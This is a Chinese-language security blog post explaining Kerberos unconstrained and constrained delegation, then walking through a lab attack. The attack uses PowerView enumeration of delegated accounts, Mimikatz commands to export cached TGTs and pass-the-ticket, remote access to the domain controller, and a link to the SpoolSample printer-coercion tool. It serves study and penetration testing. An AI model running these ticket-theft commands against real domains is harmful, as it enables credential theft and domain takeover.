Kerberos之委派学习(上)

2021-07-16 15:50:38 浏览数 (1)

本文作者:time(Ms08067内网安全小组成员)

委派

A 使用 kerberos 身份访问验证服务 B,B 利用 A 的身份去访问服务器 C,此过程就是委派。

例如:user访问http服务,而http需要访问其他主机的 SQL server 数据库,但不知道user是否有权限访问sqlserver,此时HTTP会利用user的身份去访问sqlserver,如果有权限访问sqlserver,才会访问成功。

非约束委派(Unconstraineddelegation)user 从KDC 获得TGT发送访问的server1,server1拿到TGT之后可以通过TGT访问任意其他服务的过程被称为非约束委派

约束委派

加入了S5U2Self和S4U2Proxy的kerberos协议扩展 S5U2Self:让服务代表用户身份向 KDC 验证用户的合法性,并获得ST1S4U2Proxy:让服务代表用户身份通过 ST1重新获取ST2,并不允许服务以用户的身份访问其他的服务。不会让user的TGT直接发送给服务,对服务认证信息做了限制。

1. 用户向 Service1 发送请求。

2. 这时在官方文档中的介绍是在这一流程开始之前 Service1 已经通过 KRB_AS_REQ 得到了用户用来访问 Service1 的 TGT,然后通过 S4U2self 扩展模拟 用户向 KDC 请求 ST。

3. KDC 这时返回给 Service1 一个用于用户验证 Service1 的 ST(我们称为 ST1), 并且 Service1 用这个ST1完成和用户的验证过程。

4. Service1 在步骤 3 使用模拟用户申请的 ST1 完成与用户的验证,然后响应用户。注:这个过程中其实 Service1 是获得了用户的TGT和ST1的,但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。

5. 用户再次向Service1发起请求,此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点:

A.Service1已经验证通过,并且有一个有效的TGT。

B.Service1有从用户到Service1的forwardableST(可转发 ST)。个人认为这里的forwardable ST其实也就是ST1。

6. Service1代表用户向Service2请求一个用于认证Service2的ST(我们称为 ST2)。用户在ST1中通过cname(client name)和crealm(client realm)字段标识。

7. KDC 在接收到步骤6中Service1的请求之后,会验证PAC(特权属性证书,在第一篇中有说明)的数字签名。如果验证成功或者这个请求没有PAC(不能验证失败),KDC将返回 ST2给Service1,不过这个ST2中cname和crealm标识的是用户而不是Service1。

8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。

9. Service2 响应 Service1的请求。

10. Service1响应用户的请求。

域内发现委派用户

非约束委派

通过 Import-ModulePowerView.ps1 加载 PowerView 脚本之后使用下面的命令进行查询。

Get-NetUser -Unconstrained -Domainyunying.lab

非约束委派主机

Get-NetComputer -Unconstrained -Domainyunying.lab

约束委派

查询域中配置约束委派的账户:

Get-DomainUser –TrustedToAuth -Propertiesdistinguishedname,useraccountcontrol,msds-allowedtodelegat eto| f1

查看设置了约束委派的用户:

Get-DomainUser -TrustedToAuth-Domainyunying.lab

约束委派主机

Get-DomainComputer -TrustedToAuth --Domainyunying.lab

非约束委派利用 域内只有服务账户才可以委派功能,设置用户为服务账户

setspn -U -Avariant/golden 用户

setspn -l 用户

当任意用户来访问时服务时,会缓存任意用户的 TGT,然后可以利用该 TGT访问任意

提取缓存 TGT privilege::debug sekurlsa::tickets /export 将票据 TGT 注入当前会话 kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi #(票据名)

kerberos::list 访问任意域机器 dir \name$c #不能使用 ip

Enter-PSSession -ComputerName WIN-QFPHJSM1L7G

实验环境搭建

域控:172.168.1.1 administrator ‘

win7:172.168.1.2 testuse

设置非委派

实验开始

当有任意机器向非委派主机发出申请时

会留下该用户 TGT 缓存

加载票据进入内存

成功访问(必须是 system 权限)

也可以用 Enter-PSSession -ComputerName DC 远程控制,是powershell控制台

这 里 有 一 个 点 就 是 sekurlsa::tickets 是 查 看 内 存 中 所 有 的 票 据 , 而 kerberos::list 只是查看当前会话中的 kerberos 票据。

利用 pooler 打印机服务 ,强制域控向其该服务器认证获得 TGT

https://github.com/leechristensen/SpoolSample

参考链接:

https://www.freebuf.com/articles/network/198381.html

0 人点赞